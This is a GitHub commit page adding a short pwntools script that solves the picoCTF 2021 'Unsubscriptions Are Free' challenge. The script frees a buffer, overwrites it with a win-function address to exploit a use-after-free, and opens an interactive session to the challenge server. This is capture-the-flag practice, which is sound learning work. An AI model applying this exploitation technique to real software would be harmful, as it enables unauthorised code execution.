Skip to content

Commit 0fe2182

Browse files
unsubscriptions are free
1 parent 29c979d commit 0fe2182

File tree

1 file changed

+20
-0
lines changed

1 file changed

+20
-0
lines changed

Diff for: picoCTF/2021/unsubscriptions_are_free.py

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
from pwn import *
2+
3+
r = remote('mercury.picoctf.net', 61817)
4+
#r = process('/tmp/vuln')
5+
#gdb.attach(r,'break *0x8048983')
6+
win_addr = 0x080487d6
7+
8+
# free user buffer
9+
r.sendline(b'I')
10+
r.sendline(b'Y')
11+
12+
# write address to user buffer
13+
r.sendline(b'L')
14+
# fsr you have to wait before sending
15+
#r.sendline(p32(win_addr) + b'a'*4)
16+
r.sendlineafter(b':', p32(win_addr) + b'a'*4)
17+
18+
# get the flag!
19+
r.interactive()
20+

0 commit comments

Comments
 (0)